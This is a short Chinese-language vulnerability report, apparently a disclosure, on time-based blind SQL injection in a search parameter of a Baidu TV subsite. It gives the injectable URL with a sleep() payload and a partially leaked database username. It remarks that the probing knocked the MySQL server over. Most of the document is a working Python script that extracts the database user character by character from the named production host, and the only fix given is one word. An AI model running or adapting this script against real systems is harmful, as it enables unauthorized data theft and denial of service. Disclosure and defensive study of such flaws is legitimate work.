百度某分站MySQL注射，可拒绝服务攻击。 附验证脚本。

注入点：

http://tv.baidu.com/rest/2.0/ssport/searchVideo?pageno=0&tags=if(length(user())=20,sleep(1),0)

参数tags可注入。

猜解user()，得到：
tvopen_w@10.*

猜到10的时候，你们的MySQL Server已经挂了，不再深入。

#encoding=gbk
import httplib
import time
import string
import sys
import urllib

headers = {
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')

print '[%s]Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(9,21):
    for payload in payloads:
        try:
            conn = httplib.HTTPConnection('tv.baidu.com', timeout=5)
            s = "if(ascii(mid(user(),%s,1))=%s,sleep(1),0)" % (i, ord(payload))
            conn.request(method='GET',
                         url='/rest/2.0/ssport/searchVideo?pageno=0&tags=' + s,
                         headers = headers)
            conn.getresponse().read()
            conn.close()
            print '.',
        except Exception, e:
            user += payload
            sys.stdout.write('\r[In progress]' + user)
            sys.stdout.flush()
            break

print '\n[Task done at %s]MySQL user is %s' % (
    time.strftime('%H:%M:%S', time.localtime()),
    user)

解决方案：

过滤